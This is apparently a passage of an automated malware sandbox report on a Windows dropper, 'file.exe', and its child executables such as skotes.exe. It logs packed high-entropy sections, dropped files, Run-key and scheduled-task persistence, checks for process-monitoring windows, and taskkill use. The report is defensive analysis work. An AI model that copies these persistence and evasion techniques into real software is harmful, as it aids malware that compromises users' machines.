Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01775E2D push ds; retf	0_3_01775E2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01775FD4 push esi; iretd	0_3_01775FD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01775FD4 push esi; iretd	0_3_01775FD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01795AD2 pushfd ; ret	0_3_01795B04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017959CA push ecx; retf	0_3_017959F0

Source: file.exe	Static PE information: section name: entropy: 7.984163061958727
Source: CT1ROX8L8OCI432H.exe.0.dr	Static PE information: section name: entropy: 7.80234292244424
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name: entropy: 7.9821636409967445
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name: xywzvhpg entropy: 7.953795861544427
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.9821636409967445
Source: skotes.exe.4.dr	Static PE information: section name: xywzvhpg entropy: 7.953795861544427
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.984163061958727
Source: 21024c5511.exe.8.dr	Static PE information: section name: entropy: 7.984163061958727
Source: random[1].exe0.8.dr	Static PE information: section name: xugdxrgk entropy: 7.954124666986544
Source: 996773cd54.exe.8.dr	Static PE information: section name: xugdxrgk entropy: 7.954124666986544
Source: QEDBGN5ZBSJ2P7FMKVJ.exe.9.dr	Static PE information: section name: entropy: 7.80234292244424
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name: entropy: 7.9821636409967445
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name: xywzvhpg entropy: 7.953795861544427
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name: entropy: 7.9821636409967445
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name: xywzvhpg entropy: 7.953795861544427
Source: NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.14.dr	Static PE information: section name: entropy: 7.80234292244424

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File created: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File created: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File created: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File created: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 21024c5511.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 996773cd54.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 036e90e395.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 21024c5511.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 21024c5511.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 996773cd54.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 996773cd54.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 036e90e395.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 036e90e395.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
